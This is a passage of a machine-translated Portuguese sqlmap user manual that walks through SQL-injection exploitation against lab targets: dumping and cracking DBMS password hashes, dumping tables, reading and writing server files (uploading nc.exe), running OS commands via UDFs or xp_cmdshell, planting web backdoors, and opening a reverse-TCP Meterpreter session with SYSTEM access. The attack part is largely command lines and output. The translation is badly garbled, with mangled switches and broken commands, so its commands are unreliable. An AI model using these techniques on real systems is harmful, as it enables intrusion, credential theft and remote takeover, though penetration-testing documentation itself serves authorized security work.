A maioria dos modernos sistemas de gestão de banco de dados tem uma função e / ou uma variável de ambiente que retorna o banco de dados de versão do sistema de gestão e, eventualmente, mais detalhes sobre o seu nível de correção, o sistema subjacente. Normalmente, a função é `a versão ()` e o meio ambiente é variável `@ @ versão` , mas esta variar de acordo com o alvo DBMS.

**Usuário da sessão**

Switch: `- corrente de usuário`

Na maioria dos SGDBs modernos é possível recuperar o usuário do sistema de gestão de banco de dados que está efetivamente executando a consulta contra o DBMS back-end da aplicação web.

**Banco de dados atual**

Switch: `- corrente-db`

É possível recuperar o nome do sistema de gerenciamento de banco de dados do banco de dados que a aplicação web está conectado.

**Detectar ou não o usuário da sessão é um administrador de banco de dados**

Switch: `- é-dba`

É possível detectar se a atual gestão de dados do usuário da sessão sistema é um administrador de banco de dados, também conhecido como DBA. sqlmap retornará `verdadeiro` se é, vice-versa `Falso` .

**Lista de banco de dados do sistema de gestão de utilizadores**

Switch: `- usuários`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre os usuários de SGBD, é possível enumerar a lista de usuários.

**Lista de banco de dados de usuários de crack e de gerenciamento do sistema hashes de senha**

Switches: `- senhas-` e `-U`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre senhas dos usuários DBMS ", é possível enumerar os hashes de senha para cada usuário do sistema de gestão de dados. sqlmap vai primeiro enumerar os usuários, em seguida, os hashes de senha diferentes para cada um deles.

Exemplo contra um alvo PostgreSQL:

```
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/pgsql/get_int.php?
id=1" - senhas-v 1

[...]
back-end SGBD: PostgreSQL
[Hh: mm: 38] [INFO] usuários de banco de dados ir buscar os hashes de
senha
você quer usar o ataque de dicionário em hashes de senha recuperados?
[Y / n / q] y
[Hh: mm: 42] [INFO] utilizando o método de hash: 'postgres_passwd'
o que é a localização do dicionário? [/ Software / sqlmap / txt /
wordlist.txt]
[Hh: mm: 46] [INFO] dicionário de carregamento: '/ software / sqlmap /
txt / wordlist.txt'
você quer usar sufixos senha comum? (Slow!) [y / N] n
[Hh: mm: 48] [INFO] ataque de dicionário de partida (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass "para o usuário' testuser '
[Hh: mm: 50] [INFO] encontrado: 'testpass "para o usuário' postgres '
banco de dados de usuários do sistema de gestão hashes de senha:
[*] Postgres [1]:
    hash da senha: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] Testuser [1]:
    hash da senha: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass
```

Não só sqlmap enumerou os usuários DBMS e suas senhas, mas também reconheceu o formato de hash para ser PostgreSQL, perguntou ao usuário se ou não para testar os hashes contra um arquivo de dicionário e identificou a senha de texto claro para o `postgres` usuário, que é geralmente um DBA ao longo do outro usuário, `testuser` , senha.

Este recurso foi implementado para todos os DBMS onde é possível enumerar os hashes de senha dos usuários, incluindo Oracle e Microsoft SQL Server pré e pós 2005.

Você também pode fornecer a `-U` opção para especificar o usuário específico que você quer para enumerar e, eventualmente, quebrar o hash da senha (s). Se você fornecer `CU` como nome de usuário que irá considerá-lo como um alias para o usuário atual e irá recuperar o hash da senha (s) para este usuário.

**Lista de usuários do sistema de gerenciamento de banco privilégios**

Switches: `- de privilégios` e `-U`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre os usuários de SGBD, é possível enumerar os privilégios para cada usuário do sistema de gestão de dados. Pelos privilégios, sqlmap também vai mostrar quais são os administradores de banco de dados.

Você também pode fornecer a `-U` opção para especificar o usuário que você deseja para enumerar os privilégios.

Se você fornecer `CU` como nome de usuário que irá considerá-lo como um alias para o usuário atual e enumerar os privilégios para esse usuário.

No Microsoft SQL Server, esse recurso irá mostrar-lhe ou não cada usuário é um administrador de banco de dados, em vez de a lista de privilégios para todos os usuários.

**Lista de sistemas de gerenciamento de banco usuários papéis**

Switches: `- papéis-` e `-U`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre os usuários de SGBD, é possível enumerar as funções para cada usuário do sistema de gestão de dados.

Você também pode fornecer a `-U` opção para especificar o usuário que você deseja para enumerar os privilégios.

Se você fornecer `CU` como nome de usuário que irá considerá-lo como um alias para o usuário atual e enumerar os privilégios para esse usuário.

Esse recurso só está disponível quando o SGBD é Oracle.

**Bases de dados lista de sistema de gestão de banco de dados**

Switch: `- dbs-`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre os bancos de dados disponíveis, é possível enumerar a lista de bancos de dados.

**Enumerar as tabelas de**

Switches: `- mesas` , `D-` e `- excluem--sysdbs`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre as tabelas de bancos de dados ", é possível enumerar a lista de tabelas para bancos de dados de um sistema de gestão específico banco de dados.

Se você não fornecer um banco de dados específico com chave `-D` , sqlmap irá enumerar as tabelas para todos os bancos de dados DBMS.

Você também pode fornecer a `- excluem-sysdbs-` chave para excluir todos os bancos de dados do sistema.

Note-se que no Oracle você tem que fornecer o `tablespace_name` em vez do nome do banco.

**Colunas da tabela de banco de dados enumerar**

Switches: `- -colunas` , `-C` , `-T` e `-D`

Quando o usuário da sessão tem acesso de leitura para a tabela de sistema que contém informações sobre as tabelas de banco de dados, é possível enumerar a lista de colunas de uma tabela de banco de dados específico. sqlmap também enumera o tipo de dados para cada coluna.

Este recurso depende da opção `T-` para especificar o nome da tabela e, opcionalmente, em `-D` para especificar o nome do banco de dados. Quando o nome do banco de dados não é especificado, o nome do banco de dados atual será usado. Você também pode fornecer a `-C` opção para especificar o nome da tabela colunas como a que forneceu a ser enumerado.

Exemplo contra um alvo SQLite:

```
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" - colunas \
  -D-T testdb nome de usuários-C
[...]
Banco de dados: SQLite_masterdb
Tabela: usuários
[3 colunas]
+ --------- + --------- +
| Coluna | Tipo |
+ --------- + --------- +
| Id | INTEGER |
| Nome | Texto |
| Sobrenome | Texto |
+ --------- + --------- +
```

Note que em PostgreSQL você tem que fornecer `público` ou o nome de um banco de dados do sistema. Isso porque não é possível enumerar outras tabelas bancos de dados, somente as tabelas no esquema que o usuário da aplicação Web está conectado, que é sempre alias por `público` .

**Despejar entradas da tabela de banco de dados**

Switches: `- despejo-` , `-C` , `-T` , `-D` , `- start-` , `- stop` , `- em primeira` e `- last-`

Quando o usuário da sessão tem acesso de leitura para a mesa um banco de dados específico, é possível despejar as entradas da tabela.

Esta funcionalidade depende da chave `-T` para especificar o nome da tabela e, opcionalmente, em chave `-D` para especificar o nome do banco de dados. Se o nome da tabela é fornecida, mas o nome do banco de dados não é, o nome do banco de dados atual será usado.

Exemplo contra um alvo Firebird:

```
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" - dump T-
usuários
[...]
Banco de dados: Firebird_masterdb
Tabela: USUÁRIOS
[4 entradas]
+ ---- + -------- + ------------ +
```

```
| ID | NOME | Apelido |
+ ---- + -------- + ------------ +
| 1 | luther | Blisset |
| 2 | coelho | fofo |
| 3 | Wu | ming |
| 4 | NULL | nameisnull |
+ ---- + -------- + ------------ +
```

Esta opção também pode ser usado para despejar entradas de todas as tabelas "de um banco de dados fornecido. Você simplesmente tem que fornecer sqlmap com o `- dump` chave junto com apenas o `D` switch, não `-T` e não `-C` .

Você também pode fornecer uma lista separada por vírgulas de colunas específicas para despejar com o `C` switch.

sqlmap também gera para cada tabela jogou as entradas em um arquivo no formato CSV textual. Você pode ver o caminho absoluto onde sqlmap cria o arquivo, proporcionando um nível de detalhamento maior ou igual a **1** .

Se você quiser jogar apenas um intervalo de entradas, então você pode fornecer chaves `- a partida` e / ou `- , parar` , respectivamente, começam a despejar a partir de um determinado item e parar o despejo em um determinado item. Por exemplo, se você quiser jogar apenas a primeira entrada, fornecer `- parar-1` na linha de comando. Vice-versa, se, por exemplo, você quiser jogar apenas a entrada do segundo e terceiro, fornecer `- de início 1 - 3-stop` .

Também é possível especificar qual personagem única ou intervalo de caracteres para despejar com interruptores `- em primeira` e `- da última` . Por exemplo, se você deseja despejar entradas colunas "do terceiro para o quinto personagem, fornecer `- primeiro-3 - 5-último` . Este recurso só se aplica às técnicas de injeção SQL cegos porque para erro e baseada em consulta união técnicas de injeção SQL, o número de pedidos é exatamente o mesmo, independentemente da duração da saída da coluna de entrada para despejar.

Como você pode ter notado por agora, sqlmap é **flexível** : você pode deixá-lo automaticamente para descarregar a tabela banco de dados inteiro ou você pode ser muito preciso em que os personagens de despejo, do qual colunas e que vão de entradas.

**Despejar todas as entradas de tabelas de bases de dados**

Switches: `- despejo-todos` e `- excluem--sysdbs`

É possível despejar todas as entradas de tabelas de bases de dados de uma vez que o usuário da sessão tem acesso de leitura.

Você também pode fornecer a `- excluem-sysdbs` chave para excluir todos os bancos de dados do sistema. Nesse caso sqlmap só despejar entradas de mesas de bancos de dados dos usuários.

Note-se que no Microsoft SQL Server o `mestre` banco de dados não é considerado um banco de dados do sistema, porque alguns administradores de banco de dados usá-lo como um banco de dados dos usuários.

**Busca de colunas, tabelas ou bases de dados**

Switches: `- busca` , `-C` , `-T` , `-D`

Este interruptor permite **procurar por nomes de banco de dados específicas, tabelas específicas em todas as bases de dados ou colunas específicas em tabelas todos os bancos de dados "** .
Isso é útil, por exemplo, para identificar as tabelas que contêm as credenciais de aplicativos personalizados onde os nomes de colunas relevantes "contêm string como *nome* e *passe* .
O interruptor `- procura de` necessidades a serem utilizados em conjunto com um dos comutadores de suporte a seguir:

- `-C` seguindo uma lista de nomes separados por vírgula coluna para procurar em todo o sistema de gestão de dados.
- `-T` seguindo uma lista de nomes separados por vírgula tabela de olhar para todo o sistema de gestão de dados.
- `-D` seguindo uma lista de nomes separados por vírgula banco de dados para procurar em todo o sistema de gerenciamento de banco de dados.

**Executar instrução SQL personalizada**
Switches: `- sql-query` e `- sql-shell`
A consulta SQL e os recursos do SQL shell permitem executar declarações SQL arbitrárias sobre o sistema de gerenciamento de banco de dados. sqlmap automaticamente disseca a declaração fornecida, determina que a técnica é adequada a utilização para injetá-lo e como embalar a carga SQL conformidade.
Se a consulta é uma `SELECIONAR` declaração, sqlmap irá recuperar sua saída. Caso contrário, ele irá executar a consulta por meio da técnica de injeção empilhados consulta SQL se o aplicativo da web suporta várias instruções sobre o sistema de gerenciamento de banco de dados de back-end. Cuidado que algumas tecnologias de aplicações web não suportam consultas empilhadas sobre sistemas de gestão de banco de dados específicos. Por exemplo, o PHP não suporta consultas empilhados quando o SGBD back-end é o MySQL, mas suporta quando o DBMS back-end é o PostgreSQL.
Exemplos contra um Microsoft SQL Server 2000-alvo:

```
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mssql/get_int.php?
id=1" - sql-query \
  "SELECT 'foo'"-v 1

[...]
[Hh: mm: 14] [INFO] buscar a saída da consulta SQL SELECT: 'SELECT'
foo''
[Hh: mm: 14] [INFO] acessado: foo
SELECT 'foo': 'foo'

$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/mssql/get_int.php?
id=1" - sql-query \
  "SELECT 'foo', 'bar'"-v 2

[...]
[Hh: mm: 50] [INFO] buscar a saída da consulta SQL SELECT: 'SELECT'
foo ',' bar''
```

```
[Hh: mm: 50] [INFO] a consulta SQL fornecido tem mais de um campo.
sqlmap agora irá descompactá-lo em
consultas distintas para ser capaz de recuperar a saída, mesmo se
estamos a ficar cego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR
(111) + CHAR (111)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] acessado: foo
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR
(97) + CHAR (114)) AS VARCHAR (8000)),
(CHAR (32)))
[Hh: mm: 50] [INFO] recuperados: bar
[Hh: mm: 50] [DEBUG] realizadas 27 consultas em 0 segundos
SELECT 'foo', 'bar': 'foo, bar'
```

Como você pode ver, sqlmap divide a consulta fornecida em duas diferentes `de SELECT` declarações seguida, recupera a saída para cada consulta separada.

Se a consulta é fornecido um `SELECIONAR` declaração e contém uma `DE` cláusula, sqlmap vai perguntar se tal declaração pode retornar múltiplas entradas. Nesse caso, a ferramenta sabe como descompactar a consulta corretamente para contar o número de entradas possíveis e recuperar sua saída, entrada por entrada.

O SQL opção shell permite que você execute sua própria instrução SQL de forma interativa, como um console SQL conectado ao sistema de gerenciamento de banco de dados. Este recurso fornece a conclusão TAB e histórico de suporte também.

## 5,10 força bruta

Essas opções podem ser usadas para executar verificações de força bruta.

**Mesas nomes de força bruta**

Switches: `- comum mesas`

Há casos em que `- - mesas de` mudança não pode ser usado para recuperar os nomes dos bancos de dados "da tabela. Estes casos geralmente se encaixam em uma das seguintes categorias:

- O sistema de gerenciamento de banco de dados MySQL é **<5,0** , onde `information_schema` não está disponível.
- O sistema de gerenciamento de banco de dados é o Microsoft Access e tabelas do sistema `MSysObjects` não é legível - configuração padrão.
- O usuário da sessão não tem privilégios de leitura contra a tabela do sistema armazenar o esquema das bases de dados.

Se qualquer um dos dois primeiros casos se aplicam e que forneceu o `- - tabelas` switch, sqlmap irá pedir-lhe com uma pergunta a cair de volta a esta técnica. Qualquer destes casos se aplicam à sua situação, sqlmap pode possivelmente ainda identificar algumas tabelas existentes, se você fornecê-lo com o `- comum mesas-` switch. sqlmap irá realizar um ataque de força bruta, a fim de detectar a existência de tabelas comuns em todo o DBMS.

A lista de nomes de tabela comuns é `txt / common-tables.txt` e você pode editá-lo como quiser.
Exemplo, contra um 4,1 MySQL alvo:

```
$ Python sqlmap.py-u "http://192.168.136.129/mysql/get_int_4.php?id=1"
\
  - Comum mesas-D testdb - bandeira

[...]
[Hh: mm: 39] [INFO] teste MySQL
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] o back-end SGBD é MySQL
[Hh: mm: 40] [INFO] bandeira fetching
web sistema operacional do servidor: Windows
tecnologia de aplicação web: PHP 5.3.1, Apache 2.2.14
back-end do sistema operacional DBMS: Windows
back-end SGBD: MySQL <5.0.0
banner: '4 .1.21-comunidade-nt '

[Hh: mm: 40] [INFO] verificação de existência tabela usando itens de
'/ software / sqlmap / txt / tables.txt-comum "
[Hh: mm: 40] [INFO] adição de palavras usadas na página web para a
lista de verificação
por favor digite o número de threads? [Enter para 1 (atual)] 8
[Hh: mm: 43] [INFO] recuperados: usuários

Banco de dados: testdb
[1] tabela
+ ------- +
| Usuários |
+ ------- +
```

## Colunas nomes de força bruta

Switches: `- comum-colunas`
Como por mesas, há casos em que `- - colunas` interruptor não pode ser usado para recuperar nomes de "quadros" as bases de dados da coluna. Estes casos geralmente se encaixam em uma das seguintes categorias:

- O sistema de gerenciamento de banco de dados MySQL é **<5,0** , onde `information_schema` não está disponível.
- O sistema de gerenciamento de banco de dados é o Microsoft Access em que este tipo de informação não está disponível dentro de tabelas do sistema.
- O usuário da sessão não tem privilégios de leitura contra a tabela do sistema armazenar o esquema das bases de dados.

Se qualquer um dos dois primeiros casos se aplicam e que forneceu o `- - colunas` switch, sqlmap irá pedir-lhe com uma pergunta a cair de volta a esta técnica. Qualquer destes casos se aplicam à sua situação, sqlmap pode possivelmente ainda identificar algumas tabelas existentes, se você fornecê-lo com o `- comum-colunas` interruptor. sqlmap irá realizar um ataque de força bruta, a fim de detectar a existência de colunas comuns em todo o DBMS.
A lista de nomes de tabela comuns é `txt / common-columns.txt` e você pode editá-lo como quiser.

## 5,11 definido pelo usuário injeção função

Essas opções podem ser usadas para criar personalizado funções definidas pelo usuário.

**Injectar personalizados funções definidas pelo usuário (UDF)**

Switches: `- udf-injectar-` e `- compartilhada-lib`

Você pode injetar suas próprias funções definidas pelo usuário (UDF) compilando um MySQL ou PostgreSQL biblioteca compartilhada DLL, para Windows e objeto compartilhado para Linux / Unix, então, fornecer sqlmap com o caminho onde a biblioteca compartilhada é armazenada localmente na sua máquina. sqlmap irá então pedir-lhe algumas perguntas, fazer upload a biblioteca compartilhada no sistema de arquivos de banco de dados do servidor, criar a função definida pelo usuário (s) a partir dele e, dependendo de suas opções, executá-los. Quando você terminar de usar as UDFs injetados, sqlmap também pode removê-los do banco de dados para você.

Estas técnicas são detalhados no papel branco avançada de injeção SQL para controle operacional total do sistema .

Use mudar `- , udf-injectar` e siga as instruções.

Se você quiser, você pode especificar a biblioteca compartilhada caminho do sistema de arquivos local via linha de comando também
usando `- compartilhada-lib` opção. Sqlmap vice-versa irá pedir-lhe para o caminho em tempo de execução.

Este recurso está disponível somente quando o sistema de gerenciamento de banco de dados é o MySQL ou PostgreSQL.

## 5,12 de acesso ao sistema de arquivo

**Ler um arquivo de sistema do servidor de banco de dados de arquivos**

Switch: `- leia-file-`

É possível recuperar o conteúdo de arquivos do sistema de arquivos subjacente quando o back-end do sistema de gestão de banco de dados é ou MySQL, PostgreSQL ou Microsoft SQL Server, eo usuário sessão tem os privilégios necessários para abusar funcionalidades de banco de dados e fraquezas específicas de arquitetura. O ficheiro especificado pode ser um texto ou um ficheiro binário. sqlmap vai lidar com isso adequadamente.

Estas técnicas são detalhados no papel branco avançada de injeção SQL para controle operacional total do sistema .

Exemplo, contra um Microsoft SQL Server 2005 meta de recuperar um arquivo binário:

```
$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  - Arquivo de leitura "C :/ example.exe"-v 1

[...]
[Hh: mm: 49] [INFO] o back-end DBMS é o Microsoft SQL Server
web sistema operacional do servidor: Windows 2000
tecnologia de aplicação web: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
```

```
[Hh: mm: 50] [INFO] buscar o arquivo: 'C :/ example.exe'
[Hh: mm: 50] [INFO] a consulta SQL fornecidos retorna 3 entradas
C file :/ example.exe salvos: '/
software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]

$ Ls-l output/192.168.136.129/files/C__example.exe
-Rw-r - r - 1 inquis inquis 2560 2011-MM-DD hh: mm
output/192.168.136.129/files/C__example.exe

$ Arquivo output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executável para MS
Windows (GUI) Intel
80386 32-bit
```

**Enviar um arquivo de sistema do servidor de banco de dados de arquivos**

Switches: `- write-arquivo-` e `- de arquivo-dest`

É possível fazer upload de um arquivo local para o servidor de banco de dados do sistema de arquivos quando o back-end do sistema de gestão de banco de dados é ou MySQL, PostgreSQL ou Microsoft SQL Server, eo usuário sessão tem os privilégios necessários para abusar funcionalidades de banco de dados e fraquezas específicas de arquitetura. O ficheiro especificado pode ser um texto ou um ficheiro binário. sqlmap vai lidar com isso adequadamente.

Estas técnicas são detalhados no papel branco avançada de injeção SQL para controle operacional total do sistema .

Exemplo contra um alvo MySQL para carregar um arquivo UPX-comprimido binário:

```
$ Arquivo / software / nc.exe.packed
/ Software / nc.exe.packed: PE32 executável para MS Windows (console)
Intel 80386 32-bit

$ Ls-l / software / nc.exe.packed
-Rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh: mm / software /
nc.exe.packed

$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" - arquivo-
escrever \
  "/ Software / nc.exe.packed" - arquivo-destino "C :/ WINDOWS /
Temp / nc.exe"-v 1

[...]
[Hh: mm: 29] [INFO] o back-end SGBD é MySQL
web sistema operacional do servidor: Windows 2003 ou 2008
tecnologia de aplicação web: ASP.NET, Microsoft IIS 6.0, ASP.NET
2.0.50727
back-end SGBD: MySQL> = 5.0.0

[...]
você quer a confirmação de que o arquivo 'C :/ WINDOWS / Temp /
nc.exe' foi sucesso
escrita no sistema de arquivos de back-end SGBD? [Y / n] y
[Hh: mm: 52] [INFO] acessado: 31744
[Hh: mm: 52] [INFO] O arquivo foi gravado com sucesso e seu tamanho é
de 31.744 bytes,
mesmo tamanho de 'software / / nc.exe.packed' o arquivo local
```

# 5,13 aquisição do sistema operacional

**Executar comando de sistema operacional arbitrário**

Switches: `- -os-cmd` e `- -os-shell`

É possível **executar comandos arbitrários no sistema do servidor de banco de dados operacional subjacente** quando o back-end do sistema de gestão de banco de dados é ou MySQL, PostgreSQL ou Microsoft SQL Server, eo usuário sessão tem os privilégios necessários para abusar funcionalidades de banco de dados e fraquezas específicas de arquitetura.

Em MySQL e PostgreSQL, envios sqlmap (através do upload de arquivos funcionalidade explicado acima) uma biblioteca compartilhada (arquivo binário), contendo duas funções definidas pelo usuário, `sys_exec ()` e`sys_eval ()` , em seguida, ele cria essas duas funções no banco de dados e chama um deles para executar o comando especificado, dependendo da escolha do usuário para exibir a saída padrão ou não. Em Microsoft SQL Server, abusos sqlmap o `xp_cmdshell` procedimento armazenado: se for desativado (por padrão no Microsoft SQL Server> = 2005), sqlmap reativá-la e, se ele não existe, sqlmap cria a partir do zero.

Quando o usuário solicita a saída padrão, sqlmap usa uma das técnicas de enumeração de injeção SQL (cego, inband ou erro-based) para recuperá-lo. Vice-versa, se a saída padrão não é necessário, empilhados consulta técnica de injeção SQL é usado para executar o comando.

Estas técnicas são detalhados no papel branco avançada de injeção SQL para controle operacional total do sistema .

Exemplo contra um alvo PostgreSQL:

```
$ Python sqlmap.py-u "http://192.168.136.131/sqlmap/pgsql/get_int.php?
id=1" \
  - Os-cmd-id v 1

[...]
tecnologia de aplicação web: PHP 5.2.6, Apache 2.2.9
back-end SGBD: PostgreSQL
[Hh: mm: 12] [INFO] impressões digitais do back-end do sistema
operacional DBMS
[Hh: mm: 12] [INFO] o back-end do sistema operacional é o Linux DBMS
[Hh: mm: 12] [INFO] teste se o usuário atual é DBA
[Hh: mm: 12] [INFO] detecção de back-end versão DBMS de sua bandeira
[Hh: mm: 12] [INFO] Verificando se 'sys_eval' UDF já existem
[Hh: mm: 12] [INFO] verificar se 'sys_exec' UDF já existem
[Hh: mm: 12] [INFO] criar "sys_eval 'UDF do arquivo binário UDF
[Hh: mm: 12] [INFO] criar "sys_exec 'UDF do arquivo binário UDF
quer recuperar a saída padrão de comando? [Y / n / a] y
saída do comando padrão: "uid = 104 (postgres) gid = 106 (postgres)
grupos = 106 (postgres) '

[Hh: mm: 19] [INFO] limpeza do sistema de gerenciamento de banco de
dados
você quer remover 'sys_eval' UDF? [Y / n] y
você quer remover 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] banco de dados de limpeza do sistema de gestão
terminou
```

```
[Hh: mm: 23] [AVISO] lembrar que arquivos de objetos compartilhados
UDF salvos no sistema de arquivos pode
só pode ser excluído manualmente
```

Também é possível simular um escudo real onde você pode digitar tantos comandos arbitrários como você deseja. A opção é `- -os-shell` e tem as funcionalidades mesma guia de conclusão e histórico que `- sql-shell` tem.

Onde as consultas empilhadas não foi identificado na aplicação web (por exemplo, PHP ou ASP com back-end sistema de gerenciamento de banco de dados sendo MySQL) eo SGBD é o MySQL, que ainda é possível abusar do `SELECIONAR` cláusula é `INTO OUTFILE` para criar um backdoor web em um gravável pasta dentro da raiz do documento do servidor web e ainda se a execução do comando assumindo o DBMS back-end eo servidor web estão hospedados no mesmo servidor. sqlmap suporta essa técnica e permite que o usuário forneça uma lista separada por vírgula de raiz de documentos possíveis sub-pastas onde tenta fazer o upload do arquivo stager web eo backdoor web subseqüente. Além disso, tem as suas próprias sqlmap stagers web testados arquivo e backdoors para os seguintes idiomas:

- ASP
- ASP.NET
- JSP
- PHP

**Out-of-band conexão stateful: Meterpreter e amigos**

Switches: `- -os-pwn` , `- O Relé SMB-os-` , `- -os-bof` , `- priv-esc-` , `- msf-caminho-` e `- tmp-caminho-`

É possível estabelecer um **out-of-band stateful conexão TCP entre a máquina atacante e banco de dados servidor** do sistema operacional subjacente quando o back-end do sistema de gestão de banco de dados é ou MySQL, PostgreSQL ou Microsoft SQL Server, e o usuário da sessão tem o necessário privilégios para abusar funcionalidades de banco de dados e fraquezas específicas de arquitetura. Esse canal pode ser um prompt de comando interativo, uma sessão Meterpreter ou uma interface gráfica de usuário da sessão (VNC), como a escolha do usuário acutes.

sqlmap depende Metasploit para criar o shellcode e implementa quatro diferentes técnicas para executá-lo no servidor de banco de dados. Estas técnicas são:

- Banco de dados de **execução na memória de shellcode o Metasploit** via sqlmap própria função definida pelo usuário `sys_bineval ()` . Suportado em MySQL e PostgreSQL - interruptor `- -os-pwn` .
- Upload e execução de um Metasploit **stager carga autônomo** via sqlmap própria função definida pelo usuário `sys_exec ()` em MySQL e PostgreSQL ou via `xp_cmdshell ()` no Microsoft SQL Server - interruptor `- -os-pwn` .

- Execução de shellcode Metasploit realizando um **ataque reflexão SMB** ( MS08-068 ) com um pedido de caminho UNC do servidor de banco de dados para a máquina do atacante, onde o Metasploit`smb_relay` exploit servidor escuta. Apoiado ao executar sqlmap com privilégios elevados ( `uid = 0` ) no Linux / Unix e os DBMS destino é executado como administrador no Windows - interruptor `- O Relé SMB-os-` .
- Execução de banco de dados em memória de shellcode o Metasploit, explorando **o Microsoft SQL Server 2000 e 2005 `sp_replwritetovarbin` procedimento armazenado buffer overflow baseado em pilha** ( MS09-004 ). sqlmap tem seu próprio exploit para acionar a vulnerabilidade com desvio automático proteção DEP memória, mas depende de Metasploit para gerar o shellcode começar executado sobre a exploração bem-sucedida - interruptor `- - os-bof` .

Estas técnicas são detalhados no papel branco avançada de injeção SQL para controle de sistema operacional completo e no conjunto de slides Expandindo o controle sobre o sistema operacional a partir do banco de dados .

Exemplo contra um alvo MySQL:

```
$ Python sqlmap.py-u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" - os-
pwn \
  - Msf caminho / software / metasploit

[...]
[Hh: mm: 31] [INFO] o back-end SGBD é MySQL
web sistema operacional do servidor: Windows 2003
tecnologia de aplicação web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS
6.0
back-end SGBD: MySQL 5.0
[Hh: mm: 31] [INFO] impressões digitais do back-end do sistema
operacional DBMS
[Hh: mm: 31] [INFO] o back-end do sistema operacional é o Windows DBMS
como é que você quer para estabelecer o túnel?
[1] TCP: Metasploit Framework (padrão)
[2] ICMP: icmpsh - ICMP tunneling
>
[Hh: mm: 32] [INFO] teste se o usuário atual é DBA
[Hh: mm: 32] [INFO] usuário buscar atual
o que é o banco de dados de back-end arquitetura de sistema de gestão?
[1] de 32 bits (padrão)
[2] de 64 bits
>
[Hh: mm: 33] [INFO] verificar se 'sys_bineval' UDF já existem
[Hh: mm: 33] [INFO] verificar se 'sys_exec' UDF já existem
[Hh: mm: 33] [INFO] detecção de back-end versão DBMS de sua bandeira
[Hh: mm: 33] [INFO] recuperar MySQL caminho do diretório base absoluta
[Hh: mm: 34] [INFO] criar "sys_bineval 'UDF do arquivo binário UDF
[Hh: mm: 34] [INFO] criar "sys_exec 'UDF do arquivo binário UDF
como é que você quer executar o shellcode Metasploit no banco de dados
de back-end subjacente
sistema operacional?
[1] Via 'sys_bineval "UDF (em memória maneira, anti-forense, default)
[2] stager carga autônomo (como sistema de arquivo)
```

```
>
[Hh: mm: 35] [INFO] criando Metasploit Framework 3 shellcode multi-
estágio
que tipo de conexão você quer usar?
[1] Reverso TCP: Ligue de volta a partir do host do banco de dados a
esta máquina (padrão)
[2] Reverso TCP: Tente ligar de volta a partir do host do banco de
dados a esta máquina, em todas as portas
entre o especificado e 65535
[3] Bind TCP: Ouça no host do banco de dados para uma conexão
>
que é o endereço do local? [192.168.136.1]
qual o número de porta local que você quer usar? [60641]
carga que você quer usar?
[1] Meterpreter (padrão)
[2] Shell
[3] VNC
>
[Hh: mm: 40] [INFO] criação em progresso ... feito
[Hh: mm: 43] [INFO] execução Metasploit Framework 3 interface de linha
de comando localmente, aguarde por favor ..


                                   _
                                  | | O
 _____ | ___, _ | | ___ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
  | | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / |
_ /
                            / |
                            \ |


       = [Metasploit v3.7.0-dev núcleo [: 3,7 api: 1,0]
+ ---- = [674 exploits - 351 auxiliar
+ ---- = [217 cargas - 27 encoders - 8 nops
       = [Svn r12272 atualizado 4 dias atrás (2011/04/07)

PAYLOAD => windows / Meterpreter / reverse_tcp
EXITFUNC = fio>
LPORT => 60641
LHOST => 192.168.136.1
[*] Manipulador reverso Iniciado em 192.168.136.1:60641
[*] A partir do manipulador de carga ...
[Hh: mm: 48] [INFO] Metasploit Framework 3 correndo shellcode
remotamente via 'sys_bineval' UDF,
aguarde por favor ..
[*] Envio de estágio (749.056 bytes) para 192.168.136.129
[*] Meterpreter uma sessão aberta (192.168.136.1:60641 ->
192.168.136.129:1689) na segunda abr 11
hh: mm: 52 0100 2011

Meterpreter> extensão Carregando ... espia sucesso.
Meterpreter> extensão Carregando incógnito ... sucesso.
Meterpreter> [-] O 'priv' extensão já foi carregado.
Meterpreter> sniffer extensão Carregando ... sucesso.
Meterpreter> Idioma do Sistema: en_US
OS: Windows Server NET (Build 3790, Service Pack 2)..
Computador: W2K3R2
Arquitetura: x86
Meterpreter: x86/win32
Meterpreter> Servidor usuário: NT AUTHORITY \ SYSTEM
```

```
Meterpreter> ipconfig

MS TCP Loopback interface de
Hardware MAC: 00:00:00:00:00:00
Endereço IP: 127.0.0.1
Netmask: 255.0.0.0



Intel (R) PRO/1000 MT Network Connection
Hardware MAC: 00:00 c: 29: fc: 79:39
Endereço IP: 192.168.136.129
Netmask: 255.255.255.0


Meterpreter saída>

[*] Meterpreter uma sessão fechada. Motivo: saída de usuário
```

